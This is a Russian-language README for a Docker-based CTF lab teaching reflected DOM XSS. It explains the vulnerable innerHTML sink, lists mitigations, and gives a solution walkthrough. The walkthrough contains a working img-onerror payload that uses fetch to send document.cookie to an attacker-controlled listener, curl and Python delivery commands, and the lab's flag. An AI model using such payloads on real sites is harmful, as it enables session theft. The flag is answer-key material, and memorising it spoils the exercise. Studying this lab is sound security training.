Reflected DOM XSS - это разновидность DOM-based XSS, при которой вредоносная нагрузка передаётся через URL, сервер возвращает страницу без изменений, а уязвимый JavaScript на стороне клиента сам читает данные из URL и вставляет их в DOM без обработки.
Ключевая причина - использование innerHTML для вставки данных, полученных из хеш-части URL (location.hash), без предварительной проверки содержимого.
- Атакующий может украсть куки, сессионные данные, перенаправить пользователя или выполнить действия от его имени
- Хеш (
#) не отправляется на сервер, все происходит на стороне пользователя, что расширяет возможности уязвимости
// Уязвимость
element.innerHTML = userData;
// Безопасный вариант
element.textContent = userData;// Использование DOMPurify.sanitize для очистки HTML
const clean = DOMPurify.sanitize(userData);
element.innerHTML = clean;Content-Security-Policy: default-src 'self'; script-src 'self'
setcookie("session", "value", ["httponly" => true]);- Docker Toolbox
- Docker Compose
# Клонирование репозитория
git clone https://github.com/validverify/reflected-xss-ctf.git
cd reflected-xss-ctf
# Запуск приложения
docker-compose up --build- Уязвимое приложение:
http://DOCKER_IP:8080 - Бот-администратор (принимает ссылки для посещения):
http://DOCKER_IP:5000/visit
| Название переменной | Описание | Значение |
|---|---|---|
| FLAG | Флаг | practice{reflected_xss_ctf} |
| WEB_PORT | Порт веба | 8080 |
| BOT_HOST | Порт хост бота | 5000 |
| BOT_PORT | Порт бота | 5000 |
В файле web/bookmark.php на странице просмотра закладки:
let encodedTitle = location.hash.substring(1);
let titleFromHash = decodeURIComponent(encodedTitle);
document.getElementById('bookmark-title').innerHTML = titleFromHash; // Уязвимая строкаЗначение берётся напрямую из хеш части URL (#...) и вставляется в DOM через innerHTML - без какой-либо обработки. Хеш не отправляется на сервер, поэтому серверная защита здесь не сработает. Это классическая Reflected DOM XSS: уязвимый JavaScript сам отображает данные из URL в страницу.
- Запустить HTTP сервера для приёма данных
python3 -m http.server 8000- Сформировать XSS нагрузку - ссылку на уязвимую страницу с нагрузкой в хеше
http://web:80/bookmark.php#<img src=x onerror="fetch('http://MAIN_MACHINE_IP:8000/?cookie='+document.cookie)">
- Отправить ссылку боту через его эндпоинт
curl -X POST http://DOCKER_MACHINE_IP:5000/visit \
-H "Content-Type: application/json" \
-d '{"url": "http://web:80/bookmark.php#<img src=x onerror=\"fetch(\'http://host.docker.internal:8000/?cookie=\'+document.cookie)\">"}'Если не сработает, использовать простой python скрипт
import requests as req
data = {"url": "http://web:80/bookmark.php#<img src=x onerror=fetch('http://MAIN_MACHINE_IP(host.docker.internal):8000/?c='+document.cookie)>"}
res = req.post("http://DOCKER_MACHINE_IP:5000/visit", headers={"Content-Type": "application/json"}, json=data)
print(res.content)ГДЕ: *1. DOCKER_MACHINE_IP - IP адрес машины докер
docker-machine ip2. MAIN_MACHINE_IP - IP внешней машины видимый из Docker ИЛИ host.docker.internal
- Дождаться запроса от бота и просмотреть лог эхо-сервера
GET /?cookie=flag=practice{reflected_xss_ctf}
dom-xss-ctf/
├── docker-compose.yml # Настройка контейнеров
├── .env # Переменные окружения
├── web/
│ ├── Dockerfile
│ ├── index.php # Главная страница со списком закладок
│ ├── add.php # Добавление новых закладок
│ └── bookmark.php # Уязвимый файл просмотра закладки
└── bot/
├── Dockerfile
├── bot.py # Бот администратор (Flask на /visit)
└── requirements.txt # Зависимости бота
Название%:%URL
Google%:%https://google.com
GitHub%:%https://github.com